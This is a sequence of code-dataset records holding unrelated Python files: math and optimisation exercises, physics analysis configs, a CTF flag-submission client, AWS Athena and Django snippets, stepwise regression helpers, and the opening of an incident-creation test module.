hooke_jeeves(f, x1, x2, step = 0.1):\n \n first_x1 = x1\n first_x2 = x2\n best_x1 = False\n best_x2 = False\n \n while best_x1 == False:\n test_x1 = np.array([[x1,x2], [x1+step,x2], [x1-step,x2]])\n \n if np.argmin([f(test_x1[0][0],test_x1[0][1]),\n f(test_x1[1][0],test_x1[0][1]),\n f(test_x1[2][0],test_x1[0][1])]) == 1:\n x1 += step\n elif np.argmin([f(test_x1[0][0],test_x1[0][1]),\n f(test_x1[1][0],test_x1[0][1]),\n f(test_x1[2][0],test_x1[0][1])]) == 2:\n x1 -= step\n else:\n best_x1 = True\n \n while best_x2 == False:\n test_x2 = np.array([[x1,x2], [x1,x2+step], [x1,x2-step]])\n \n if np.argmin([f(test_x2[0][0],test_x2[0][1]),\n f(test_x2[0][0],test_x2[1][1]),\n f(test_x2[0][0],test_x2[2][1])]) == 1:\n x2 += step\n elif np.argmin([f(test_x2[0][0],test_x2[0][1]),\n f(test_x2[0][0],test_x2[1][1]),\n f(test_x2[0][0],test_x2[2][1])]) == 2:\n x2 -= step\n else:\n best_x2 = True\n \n Difference = np.subtract([first_x1,first_x2],[x1,x2])\n \n print(\"Original x1,x2:\", first_x1,first_x2,\"\\n\",\n \"Improved x1,x2:\", x1,x2,\"\\n\",\n \"Difference:\", Difference)\n\nhooke_jeeves(f, 1, 1)\n\n# Chapter 2.14\n# Generate 5 random numbers between 0 and 1\n[random.uniform(0,1) for i in range(5)]\n\n# Generate random numbers from normal distribution\n[random.gauss(mu = 0, sigma = 1) for i in range(5)]\n\n# Practice Problem 2\n# Shipping from A to B\nresults = []\nfor i in range(100):\n \n results.append(random.uniform(1, 3) + random.gauss(0.8, 0.35) + \n random.uniform(0.5, 2) + random.gauss(4, 0.1) + \n 0.25 + random.gauss(3, 0.8))\nsum(results)/len(results)\n\n\n# Chapter 3\n\n# Chapter 3.2\n# Practice Problem 4c\n\nA = np.array([[2,1,-3,1],\n [1,-2,0,-6],\n [-3,2,-1,3],\n [-1,0,1,-2]])\n\nB = np.array([12,-28,10,-13])\n\n# A*X = B # multiply with inverse of A\n# X = A**-1*B\nA_inv = np.linalg.inv(A)\nX = np.dot(A_inv,B)\n\nA[1] # row vectors\nA[0,:] # column vectors\n\n# Chapter 3.3\nA = np.array([[3,1,-2],\n [2,-2,5]], dtype = \"float\")\n\nA[0,0] = 1\nA[1,0] = 0\n\n# Divide first row by 3\nA[0] = A[0]/3\n# Replace second row by sum of rows * 2\nA[1] = A[0]+A[1]*2\n\n# Practice Problem\n# Write Function that performs gaussian elimination\n# and outputs solution for x1 and x2\n# Input Matrix: 2*3\n\nA = np.array([[2, 3, 4],\n [3,-5, 5]], dtype = \"float\")\n\ndef gauss_elimination(A):\n\n A[1] = A[0] * A[1,0] / A[0,0] - A[1] \n x2 = A[1,2]/A[1,1]\n x1 = (A[0,2] - A[0,1] * x2) / A[0,0]\n # Print solution\n print(\"Value for x1: \", x1, \"\\n\",\n \"Value for x2: \", x2)\n\ngauss_elimination(A)\n\n# Chapter 3.5\n# Pivoting the inexperienced worker problem\n\nA = np.array([[15, 10, 1, 0,0, 1200],\n [1, 2, 0, 1, 0, 120],\n [-10, -9, 0, 0, 1, 0]], dtype = \"float\")\n\n\nA[1] = A[1] - (1/15)*A[0]\nA[2] = A[2] + (10/15)*A[0]\n\n# x1 = 900/15 = 60\n\nA[0] = A[0] - A[0,1]/A[1,1]*A[1]\nA[2] = A[2] - A[1]*(A[2,1]/A[1,1])\n\n# x2 = 40/1.33 = 30.075\n\ndef fib(n):\n if n == 0 or n == 1:\n return 1\n else:\n return fib(n-1) + fib(n-2)\n\n\nfib(5)\n\ncube = 12\n\nfor guess in range(abs(cube)+1):\n \n if guess**3 >= abs(cube):\n break\n \nif guess**3 != abs(cube):\n print(\"cube is not a perfect cube\")\n \nelse:\n if cube < 0:\n guess = -guess\n print(\"Cube root of\", str(cube), \"is\", str(guess))\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"L-Groeninger/Python_projects","sub_path":"optimization.py","file_name":"optimization.py","file_ext":"py","file_size_in_byte":14868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"35501787358","text":"from matplotlib import pyplot as plt\nimport numpy as np\nimport pandas as pd\n\ndef visualize_nan(df: pd.DataFrame):\n '''\n Visualize nan values across each threshold\n args:\n df: pd.DataFrame\n '''\n threshold = [0.2, 0.4, 0.6, 0.8]\n column_at_threshold = []\n for t in threshold:\n # count number of column with above threshold nan\n nan_columns = df.isna().sum() > t*len(df)\n percentage = nan_columns.sum()/len(df.columns)\n column_at_threshold.append(percentage)\n # plot\n plt.bar(threshold, column_at_threshold, width=0.1)\n plt.xlim(0, 1)\n plt.xlabel('Threshold')\n plt.ylabel('Percentage of columns')\n plt.title('Percentage of columns with nan values exceeding threshold')\n\n \n\n ","repo_name":"acnelexh/Lending_Club_Loan_Prediction","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"875028668","text":"from functools import lru_cache\n\n\nclass Solution:\n \"\"\"\n Given an input string (s) and a pattern (p), implement regular expression matching with support for '.' and '*' where:\n '.' Matches any single character.​​​​\n '*' Matches zero or more of the preceding element.\n The matching should cover the entire input string (not partial).\n\n Example 1:\n Input: s = \"aa\", p = \"a\"\n Output: false\n Explanation: \"a\" does not match the entire string \"aa\".\n\n Example 2:\n Input: s = \"aa\", p = \"a*\"\n Output: true\n Explanation: '*' means zero or more of the preceding element, 'a'. Therefore, by repeating 'a' once, it becomes \"aa\".\n\n Example 3:\n Input: s = \"ab\", p = \".*\"\n Output: true\n Explanation: \".*\" means \"zero or more (*) of any character (.)\".\n\n Example 4:\n Input: s = \"aab\", p = \"c*a*b\"\n Output: true\n Explanation: c can be repeated 0 times, a can be repeated 1 time. Therefore, it matches \"aab\".\n\n Example 5:\n Input: s = \"mississippi\", p = \"mis*is*p*.\"\n Output: false\n\n Constraints:\n 0 <= s.length <= 20\n 0 <= p.length <= 30\n s contains only lowercase English letters.\n p contains only lowercase English letters, '.', and '*'.\n It is guaranteed for each appearance of the character '*', there will be a previous valid character to match.\n \"\"\"\n @lru_cache(None)\n def isMatch(self, s: str, p: str) -> bool:\n if not p:\n return not s\n if not s:\n if len(p) >= 2 and p[1] == '*':\n # If *, we can move p anyway\n return self.isMatch(s, p[2:])\n else:\n return False\n\n is_first_match = p[0] == s[0] or p[0] == '.'\n is_keeny_match = len(p) >= 2 and p[1] == '*'\n if is_keeny_match:\n # If wildcard in pattern\n # Move s or pattern to the left and match again a .*\n # is_move_s_match = self.isMatch(s[1:],p) and is_first_match\n # is_move_p_match = self.isMatch(s,p[2:])\n # is_move_both_match = self.isMatch(s[1:],p[2:]) and is_first_match\n # return is_move_s_match or is_move_p_match or is_move_both_match\n\n # If first matches, we can move s or p or both.\n # If first does not match, we can move p only\n return is_first_match \\\n and (self.isMatch(s[1:], p) \\\n or self.isMatch(s[1:], p[2:])) \\\n or self.isMatch(s, p[2:])\n\n else:\n # No wildcard in pattern,\n return is_first_match and self.isMatch(s[1:], p[1:])\n","repo_name":"DmitryPukhov/pyquiz","sub_path":"pyquiz/leetcode/RegularExpressionMatching.py","file_name":"RegularExpressionMatching.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"40216504670","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process('vtxTEST')\n\n# import of standard configurations\nprocess.load('Configuration.StandardSequences.Services_cff')\nprocess.load('SimGeneral.HepPDTESSource.pythiapdt_cfi')\nprocess.load('FWCore.MessageService.MessageLogger_cfi')\nprocess.load('Configuration.StandardSequences.GeometryDB_cff')\nprocess.load('Configuration.StandardSequences.MagneticField_38T_cff')\nprocess.load('Configuration.StandardSequences.Reconstruction_cff')\nprocess.load('Configuration.StandardSequences.EndOfProcess_cff')\nprocess.load('Configuration.StandardSequences.FrontierConditions_GlobalTag_cff')\nprocess.load('Configuration.EventContent.EventContent_cff')\n\nprocess.configurationMetadata = cms.untracked.PSet(\n annotation = cms.untracked.string('vtxTest nevts:1'),\n name = cms.untracked.string('PyReleaseValidation')\n)\nprocess.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(-1)\n)\n\n# Input source\nprocess.source = cms.Source(\"PoolSource\",\n fileNames = cms.untracked.vstring(\n #'/store/hidata/HIRun2010/HICorePhysics/RECO/PromptReco-v3/000/151/353/94B06736-30F2-DF11-B1EC-003048D37560.root'\n #'file:hiRecoDM_RECO.root'\n #'file:highMultOneSideSkim.root'\n 'file:/d01/edwenger/test/CMSSW_3_9_2_patch5/src/mergeDiJet_run151153.root'\n )\n)\n\nprocess.options = cms.untracked.PSet(\n wantSummary = cms.untracked.bool(True)\n)\n\nprocess.Timing = cms.Service(\"Timing\")\n\n# Output definition\n\nprocess.RECOoutput = cms.OutputModule(\"PoolOutputModule\",\n splitLevel = cms.untracked.int32(0),\n outputCommands = process.RECOEventContent.outputCommands,\n fileName = cms.untracked.string('vtxTest_RAW2DIGI_RECO.root'),\n dataset = cms.untracked.PSet(\n filterName = cms.untracked.string(''),\n dataTier = cms.untracked.string('')\n )\n)\n\n# Additional output definition\nprocess.TFileService = cms.Service(\"TFileService\",\n fileName = cms.string('testVtx.root'))\n\n# Other statements\nprocess.GlobalTag.globaltag = 'GR10_P_V12::All'\n\n# Vertex Analyzer\nprocess.ClusterVertexAnalyzer = cms.EDAnalyzer(\"HIPixelClusterVtxAnalyzer\",\n pixelRecHits=cms.InputTag(\"siPixelRecHits\"),\n minZ=cms.double(-30.0),\n maxZ=cms.double(30.05),\n zStep=cms.double(0.1),\n maxHists=cms.int32(10) \n )\n\n# Trigger and Event Selection\nprocess.load(\"HLTrigger.HLTfilters.hltHighLevel_cfi\")\nprocess.hltMinBiasHFOrBSC = process.hltHighLevel.clone()\nprocess.hltMinBiasHFOrBSC.HLTPaths = [\"HLT_HIMinBiasHfOrBSC_Core\"]\nprocess.load(\"HeavyIonsAnalysis.Configuration.collisionEventSelection_cff\")\n\nprocess.pixelActivityFilter = cms.EDFilter( \"HLTPixelActivityFilter\",\n inputTag = cms.InputTag( \"siPixelClusters\" ),\n minClusters = cms.uint32( 4000 ),\n maxClusters = cms.uint32( 0 ) \n)\n\n#process.evtSel = cms.Sequence(process.hltMinBiasHFOrBSC*process.collisionEventSelection)\nprocess.evtSel = cms.Sequence(process.pixelActivityFilter)\n\n# Path and EndPath definitions\n\nprocess.filter_step = cms.Path(process.evtSel)\n\nprocess.reconstruction_step = cms.Path(#process.evtSel *\n process.siPixelRecHits * process.ClusterVertexAnalyzer)\n\nprocess.endjob_step = cms.Path(process.evtSel * process.endOfProcess)\n\nprocess.RECOoutput_step = cms.EndPath(process.evtSel * process.RECOoutput)\n\n\n# Schedule definition\nprocess.schedule = cms.Schedule(#process.filter_step,\n process.reconstruction_step)#,process.endjob_step,process.RECOoutput_step)\n","repo_name":"cms-sw/cmssw","sub_path":"RecoHI/HiTracking/test/vtxTest_cfg.py","file_name":"vtxTest_cfg.py","file_ext":"py","file_size_in_byte":3743,"program_lang":"python","lang":"en","doc_type":"code","stars":985,"dataset":"github-code","pt":"50"} +{"seq_id":"21263061","text":"from sparse_array import SparseArray\nimport os\nimport sys\n\nif __name__ == \"__main__\":\n words = os.environ['INPUT'].split(\",\")\n sparse_array = SparseArray(words)\n args = sys.argv\n if len(args) == 1:\n raise Exception(\"You must specify the query. Example toto,tata,titi\")\n else:\n query = args[1]\n result = sparse_array.compute(query.split(','))\n print(result)","repo_name":"namfp/servier-test","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"29634163024","text":"\"\"\"This module includes everything that is needed to\nsubmit flags to the game server.\"\"\"\nimport time\nimport asyncio\nimport logging\nimport codecs\n\nfrom helperlib.logging import scope_logger\n\nfrom ctfpwn.shared import TooMuchConnectionsException\n\nlog = logging.getLogger(__name__)\nLOG_LEVEL_STAT = logging.INFO + 1\nlogging.addLevelName(LOG_LEVEL_STAT, 'STATISTIC')\n\n\n@scope_logger\nclass FlagSubmissionProtocol(asyncio.Protocol):\n \"\"\"An interface to the gameserver for submitting flags.\n Every instance may submit one or more flags at once.\"\"\"\n def __init__(self, flags, flag_db, config, future,\n loop=None, timeout=5):\n self.flags = flags\n self.db = flag_db\n self.loop = loop or asyncio.get_event_loop()\n self.config = config\n self.future = future\n self.current_flag = None\n self.flags_success = list()\n self.flags_failed = list()\n self.flags_expired = list()\n self.flags_pending = list()\n self.connection_timeout = timeout\n self.ready_for_submission = False\n\n def timeout(self):\n \"\"\"This function will be called\n if a timeout occurs.\"\"\"\n self.transport.close()\n\n def reset_timer(self):\n # Restart timeout timer\n self.h_timeout.cancel()\n self.h_timeout = asyncio.get_event_loop().call_later(\n self.connection_timeout, self.timeout)\n\n def connection_made(self, transport):\n self.transport = transport\n self.log.debug('[GAMESERVER] Connection established')\n # Start 5 seconds timeout timer\n self.h_timeout = asyncio.get_event_loop().call_later(\n self.connection_timeout, self.timeout)\n\n def data_received(self, incoming):\n incoming = incoming.decode().strip()\n if not self.ready_for_submission:\n if not incoming.endswith(self.config.get('game_server_msg_ready')):\n self.log.debug('[GAMESERVER] Gameserver is not ready yet')\n self.reset_timer()\n return\n else:\n self.log.debug('[GAMESERVER] Gameserver is ready, sending flags')\n self.ready_for_submission = True\n else:\n if self.config.get('game_server_msg_success') in incoming or \\\n self.config.get('game_server_msg_success2') in incoming:\n self.flags_success.append(self.current_flag.get('flag'))\n elif self.config.get('game_server_msg_service_down') in incoming:\n self.log.error('[GAMESERVER] [%s] GAMESERVER REPORTED SERVICE NOT AVAILABLE!',\n self.current_flag.get('service'))\n self.flags_pending.append(self.current_flag.get('flag'))\n elif self.config.get('game_server_msg_expired') in incoming:\n # log.debug('Flag expired')\n self.flags_expired.append(self.current_flag.get('flag'))\n elif self.config.get('game_server_msg_invalid') in incoming:\n # log.debug('Invalid flag')\n self.flags_failed.append(self.current_flag.get('flag'))\n elif self.config.get('game_server_msg_own_flag') in incoming:\n # log.debug('Own flag')\n self.flags_failed.append(self.current_flag.get('flag'))\n elif self.config.get('game_server_msg_already_submitted') in incoming:\n # log.debug('Flag already submitted')\n self.flags_failed.append(self.current_flag.get('flag'))\n elif self.config.get('game_server_msg_too_much') in incoming:\n self.log.warning('[GAMESERVER] Too much connections to the gameserver!')\n self.future.set_exception(TooMuchConnectionsException)\n self.transport.close()\n return\n else:\n self.log.warning('Unknown gameserver message: %r', incoming.strip())\n\n if not len(self.flags):\n self.transport.close()\n return\n self.reset_timer()\n self.current_flag = self.flags.pop(0)\n self._writeline(self.current_flag.get('flag'))\n\n def connection_lost(self, reason):\n log.debug('[GAMESERVER] Lost Gameserver connection')\n self.h_timeout.cancel()\n if not self.future.done():\n self.future.set_result(True)\n self.loop.create_task(self._update_flag_states())\n\n def _writeline(self, data):\n if isinstance(data, str):\n data = codecs.encode(data)\n self.transport.write(data + b'\\n')\n\n async def _update_flag_states(self):\n t0 = time.time()\n if self.flags_success:\n for flag in self.flags_success:\n await self.db.update_submitted(flag)\n if self.flags_pending:\n for flag in self.flags_pending:\n await self.db.update_pending(flag)\n if self.flags_expired:\n for flag in self.flags_expired:\n await self.db.update_expired(flag)\n if self.flags_failed:\n for flag in self.flags_failed:\n await self.db.update_failed(flag)\n # If the connection has been lost prematurely,\n # mark the not yet processed flags as PENDING.\n if self.flags:\n for flag in self.flags:\n await self.db.update_pending(flag)\n self.log.log(LOG_LEVEL_STAT, '[SUBMISSION] [ACCEPTED %d] [PENDING %d] [EXPIRED %d] [UNKNOWN %d]',\n len(self.flags_success),\n len(self.flags_pending + self.flags),\n len(self.flags_expired),\n len(self.flags_failed))\n self.log.log(LOG_LEVEL_STAT, '[GAMESERVER] Updating flag stats took %f seconds', time.time() - t0)\n","repo_name":"takeshixx/ctfpwn","sub_path":"ctfpwn/flagservice/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":5694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"35620335657","text":"import boto3\nimport os\nimport datetime\n\nBUCKET_NAME = os.getenv('BUCKET_NAME')\nDATABASE_NAME = os.getenv('DATABASE_NAME', \"dna_database\")\nATHENA_WORKGROUP = os.getenv('ATHENA_WORKGROUP', \"dna\")\n\n\n\nCTAS_QUERY_FMT = '''CREATE TABLE {database_name}.{ctas_table_name}\nWITH (\n format='AVRO',\n external_location='s3://{bucket_name}/{directory}'\n) AS\nSELECT * FROM {database_name}.{origin_table_name};\n'''\n\n\n\n\ndef run_ctas(athena_client, basic_dt, data_name):\n year, month, day, hour = (basic_dt.year, basic_dt.month, basic_dt.day, basic_dt.hour)\n\n new_table_name = '{table}_{year}{month:02}{day:02}'.format(table=str(data_name).replace(\"-\", \"_\"),\n year=year, month=month, day=day)\n avro_dir_name = data_name + \"/\" + new_table_name\n\n\n query = CTAS_QUERY_FMT.format(database_name=DATABASE_NAME, ctas_table_name=new_table_name, bucket_name=BUCKET_NAME,\n directory=avro_dir_name, origin_table_name=str(data_name).replace(\"-\", \"_\")+\"_table\")\n\n print('[INFO] QueryString:\\n{}'.format(query))\n\n response = athena_client.start_query_execution(\n QueryString=query,\n QueryExecutionContext={\n 'Database': DATABASE_NAME\n },\n ResultConfiguration={\n 'OutputLocation': \"s3://{}/query_result\".format(BUCKET_NAME)\n },\n WorkGroup=ATHENA_WORKGROUP\n )\n print('[INFO] the response of CTAS query : ', response)\n\n\ndef lambda_handler(event, context):\n print('[INFO] event = ', event)\n event_date = datetime.datetime.strptime(event['time'], \"%Y-%m-%dT%H:%M:%SZ\")\n client = boto3.client('athena')\n run_ctas(client, event_date, \"title\")\n run_ctas(client, event_date, \"title-read\")\n run_ctas(client, event_date, \"user\")\n\n\nif __name__ == '__main__':\n\n event = {\n \"time\" : \"2020-09-12T00:00:00Z\"\n }\n lambda_handler(event, {})\n","repo_name":"datawego/competition","sub_path":"preprocessing/src/lambda/ctas_lambda.py","file_name":"ctas_lambda.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"50"} +{"seq_id":"30897279314","text":"# Create a dictionary called 'countries' with country names as keys and their capitals as values.\ncountries = {\n 'Nigeria': 'Abuja',\n 'Afghanistan': 'Kabul',\n 'United States Of America': 'Washington D.C.',\n 'Algeria': 'Algiers',\n 'Angola': 'Luanda',\n 'Argentina': 'Buenos Aires'\n}\n\n# Set the flag 'active' to True to control the while loop.\nactive = True\n\n# Start the while loop to keep asking for a country's name until a valid country is entered.\nwhile active:\n # Ask the user to enter a country's name and convert it to title case.\n user_input = input(\"Enter any country's name:\\n\").title()\n\n # Check if the user_input exists as a key in the 'countries' dictionary.\n if user_input in countries.keys():\n # Retrieve the capital corresponding to the entered country.\n capital = countries[user_input]\n # Print the capital of the entered country.\n print(f\"The capital of {user_input} is {capital}.\")\n # Set 'active' to False to exit the while loop.\n active = False\n else:\n # If the entered country is not found in the dictionary, display an error message.\n print(\"Please enter a valid country. Make sure you type the name in full.\")\n","repo_name":"Christianihechi/Python","sub_path":"countries_and_capital_checker.py","file_name":"countries_and_capital_checker.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"1248914458","text":"import json\n\nfrom base import Emitter\nfrom internal_db_ops import internal_find\nfrom processors.emitters.template_formatter import TemplateFormatter\n\n@Emitter.emitter\nclass TemplatePFormatter(TemplateFormatter):\n \n def condition(self):\n self.callback = self.token.request.args.get('callback',None)\n format = self.token.get_request_format()\n return super(TemplatePFormatter,self).condition() and self.callback != None and format.startswith(\"templatep\")\n \n def format(self):\n super(TemplatePFormatter,self).format()\n self.token.content_type = 'text/javascript'\n self.token.response = \"%s(%s);\" % (self.callback, json.dumps(self.token.response))\n","repo_name":"akariv/open-data-server","sub_path":"processors/emitters/templatep_formatter.py","file_name":"templatep_formatter.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"42200686290","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\n# Create your models here.\n\nclass Lecture(models.Model):\n user = models.ForeignKey(User, on_delete=models.CASCADE, null=False)\n body = models.TextField() # 대용량의 타입의 필드\n image = models.ImageField(upload_to='lecture', null=True)\n created_at = models.DateTimeField() # 날짜 타입의 필드\n liked_lectures = models.ManyToManyField(User, related_name='liked_lectures')\n title = models.CharField(max_length=200, null=True)\n video_key = models.CharField(max_length=12, null=True)\n\n def __str__(self):\n if self.user:\n return f'{self.user.get_username()}: {self.body}'\n else:\n return f'{self.body}'\n","repo_name":"HyangKeunChoi/likelion-mutflearn","sub_path":"lecture/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"40098042450","text":"import FWCore.ParameterSet.Config as cms\n\n# HCAL setup suitable for processing TB04 data using hardwired calibrations\nhcal_db_producer = cms.ESProducer(\"HcalDbProducer\")\n\nhcal_es_hardcode = cms.ESSource(\"HcalHardcodeCalibrations\",\n toGet = cms.untracked.vstring('Pedestals', \n 'PedestalWidths', \n 'Gains', \n 'GainWidths', \n 'QIEShape', \n 'QIEData', \n 'channelQuality')\n)\n\nhcal_es_ascii = cms.ESSource(\"HcalTextCalibrations\",\n input = cms.VPSet(cms.PSet(\n object = cms.string('ElectronicsMap'),\n file = cms.FileInPath('CondFormats/HcalObjects/data/hbho_ring12_tb04.txt')\n ))\n)\n\n\n","repo_name":"cms-sw/cmssw","sub_path":"CalibCalorimetry/HcalPlugins/python/hbho_ring12_tb04_cfi.py","file_name":"hbho_ring12_tb04_cfi.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":985,"dataset":"github-code","pt":"50"} +{"seq_id":"8333508284","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Nov 18 12:35:04 2019\r\n\r\n@author: mateu\r\n\"\"\"\r\nimport SzyfrCezara\r\n\r\n\r\nprint(\"Co chcesz zrobić?\")\r\nprint(\"1. Szyfrowanie.\")\r\nprint(\"2. Deszyfrowanie\")\r\nwybor=int(input(\"Wybór:\"))\r\n\r\nif wybor==1:\r\n napis=input(\"Twój napis:\")\r\n SzyfrCezara.szyfrowanie(napis)\r\nelif wybor==2:\r\n napis=input(\"Twój napis:\")\r\n SzyfrCezara.deszyfrowanie(napis)\r\nelse:\r\n print(\"Zły wybór!2\")","repo_name":"KorzenTM/Jezyki_Skryptowe_Python_2019","sub_path":"l6/zad_2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"30121278990","text":"import pandas as pd\nimport numpy as np\nimport scipy.stats as stats\nimport statsmodels.api as sm\nimport statsmodels.formula.api as smf\n\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nimport seaborn as sns\n\n\n# Show correlation table\ndef correlation_table(df):\n colormap = plt.cm.viridis\n plt.figure(figsize=(10,7))\n plt.title('Pearson Correlation of Features', y=1.05, size=15)\n sns.heatmap(df.corr().round(2)\\\n ,linewidths=0.1,vmax=1.0, square=True, cmap=colormap, \\\n linecolor='white', annot=True)\n\ndef plot_model_selection(models, best_model, reverse=False):\n \"\"\"\n Function that plots the adjusted r-squared based on the number of parameters, \n also indicating the position of the best found R-squared.\n \"\"\"\n if reverse:\n models = models[::-1]\n all_rsquared = np.array([ x.rsquared for x in models ])\n all_rsquared_adj = np.array([ x.rsquared_adj for x in models ])\n best_indx =len(best_model.model.exog_names)\n print(best_indx)\n x = np.arange(1, len(all_rsquared)+1)\n\n plt.figure(figsize=(8, 6))\n plt.plot(x, all_rsquared, marker='*', label='$R^2$')\n plt.plot(x, all_rsquared_adj, marker='o', label='Adjusted $R^2$')\n plt.plot(best_indx, all_rsquared_adj[best_indx], marker='x', markersize=14, color='k')\n plt.legend()\n plt.title('$R^2$ vs Adjusted $R^2$', fontsize=20)\n\ndef process_subset(y, data, feature_set):\n \"\"\"\n Function that takes the subset of a model and returns the fitted regression model\n INPUT: dependent variable, the dataframe to process\n \"\"\"\n X = data.loc[:, feature_set].values\n X = sm.add_constant(X)\n names = ['intercept']\n names.extend(feature_set)\n model = sm.OLS(y, X)\n model.data.xnames = names\n regr = model.fit()\n return regr \n\ndef forward_add_variable(data, exog, selected, to_select):\n best_rsquared = 0\n best_model = None\n best_column = None\n y = data.loc[:, exog]\n \n for column in to_select:\n new_selected = selected + [column]\n regr = process_subset(y, data, new_selected)\n if regr.rsquared > best_rsquared:\n best_rsquared = regr.rsquared\n best_model = regr\n best_column = column\n \n return best_model, best_column\n\ndef forward_stepwise_selection(data, exog, printing=False):\n\n best_models = []\n best_model = None\n selected = []\n to_select = [ x for x in data.columns if x != exog ] \n\n p = len(to_select) + 1\n\n for i in range(1, p):\n if printing:\n print(f'Finding the best model for {i} variable{\"s\" if i > 1 else \"\"}')\n model, best_column = forward_add_variable(data, exog, selected, to_select)\n selected.append(best_column)\n to_select.remove(best_column)\n if not best_model or model.rsquared_adj > best_model.rsquared_adj:\n best_model = model\n if printing:\n print(selected)\n best_models.append(model)\n \n print(f'Fitted {1 + p*(p+1)//2} models')\n return best_model, best_models\n\ndef backward_remove_variable(data, exog, selected):\n \n best_rsquared = 0\n best_model = None\n best_column = None\n y = data.loc[:, exog]\n \n for column in selected:\n new_selected = selected[:]\n new_selected.remove(column)\n regr = process_subset(y, data, new_selected)\n if regr.rsquared > best_rsquared:\n best_rsquared = regr.rsquared\n best_model = regr\n best_column = column\n \n return best_model, best_column\n\ndef backward_stepwise_selection(data, exog, printing=False):\n\n best_models = []\n selected = [ x for x in data.columns if x != exog ]\n\n p = len(selected) + 1\n if printing:\n print(f'Finding the best model for {p - 1} variables')\n print(selected)\n y = data.loc[:, exog]\n best_model = process_subset(y, data, selected)\n best_models.append(best_model)\n\n for i in reversed(range(2, p)):\n if printing:\n print(f'Finding the best model for {i - 1} variable{\"s\" if (i - 1) > 1 else \"\"}')\n model, best_column = backward_remove_variable(data, exog, selected)\n selected.remove(best_column)\n if not best_model or model.rsquared_adj > best_model.rsquared_adj:\n best_model = model\n if printing:\n print(selected)\n best_models.append(model)\n \n print(f'Fitted {1 + p*(p+1)//2} models')\n return best_model, best_models \n\ndef plot_model_AIC(models, best_model, reverse=False):\n \"\"\"\n Function that plots the adjusted r-squared based on the number of parameters, \n also indicating the position of the best found R-squared.\n \"\"\"\n if reverse:\n models = models[::-1]\n aic = np.array([ x.aic for x in models ])\n bic = np.array([ x.bic for x in models ])\n all_rsquared_adj = np.array([ x.rsquared_adj for x in models ])\n best_indx =len(best_model.model.exog_names)\n print(best_indx)\n x = np.arange(1, len(aic)+1)\n\n\n fig, ax1 = plt.subplots(figsize=(8, 6))\n ax2 = ax1.twinx()\n\n ax1.plot(x, aic, marker='*', label='AIC', color = 'red')\n ax1.plot(x, bic, marker='*', label='BIC', color = 'green')\n ax2.plot(x, all_rsquared_adj, marker='o', label='Adjusted $R^2$')\n ax2.plot(best_indx, all_rsquared_adj[best_indx], marker='x', markersize=14, color='k')\n fig.legend(loc='center right',bbox_to_anchor=(0.4, 0.2, 0.47, 0.5))\n plt.title('AIC/BIC vs Adjusted $R^2$', fontsize=20) ","repo_name":"geo-chalk/Msc-Data-Science-AUEB","sub_path":"Practical Data Science/3_Spotify_Valence/stats_functions.py","file_name":"stats_functions.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"6343744793","text":"import json\nimport io\nfrom collections import namedtuple\n\nimport CreateIncidents\n\nimport pytest\n\nAttachment = namedtuple('Attachment', ['name', 'content'])\n\n\ndef util_load_json(path):\n with io.open(path, mode='r', encoding='utf-8') as f:\n return json.loads(f.read())\n\n\ndef util_loaf_file(path):\n with io.open(path, mode='rb') as f:\n return f.read()\n\n\nincident_list = util_load_json('test_data/incidents_examples.json')\ncontext_list = util_load_json('test_data/context_examples.json')\nattachment_content = util_loaf_file('test_data/YOU HAVE WON 10000$.eml')\nCLIENT_MOCK = CreateIncidents.Client('example_url.com', False, False)\n\nCONTEXT_EXAMPLES = [\n (\n context_list.get(\"CONTEXT_WITH_LABEL_WITH_FILE\"), [\n {'name': 'Potential phishing I received', 'occurred': '0001-01-01T00:00:00Z',\n 'labels': [{'type': 'Email/subject', 'value': 'Potential phishing I received'},\n {'type': 'Email', 'value': 'example@example.com'}],\n 'attachment': [{'path': 'example_id', 'name': 'example_path.eml'}]}]\n ),\n (\n context_list.get(\"CONTEXT_WITHOUT_LABEL_WITH_FILES\"), [\n {'name': 'Potential phishing I received', 'occurred': '0001-01-01T00:00:00Z',\n 'attachment': [{'path': 'example_id', 'name': 'example_path.eml'},\n {'path': 'example_id', 'name': 'example_path2.eml'}]}]\n ),\n (\n context_list.get(\"CONTEXT_MULTIPLE\"), [\n {'name': 'Potential phishing I received', 'occurred': '0001-01-01T00:00:00Z',\n 'attachment': [{'path': 'example_id', 'name': 'example_path.eml'}]},\n {'name': 'Potential phishing I received', 'occurred': '0001-01-01T00:00:00Z'}]\n 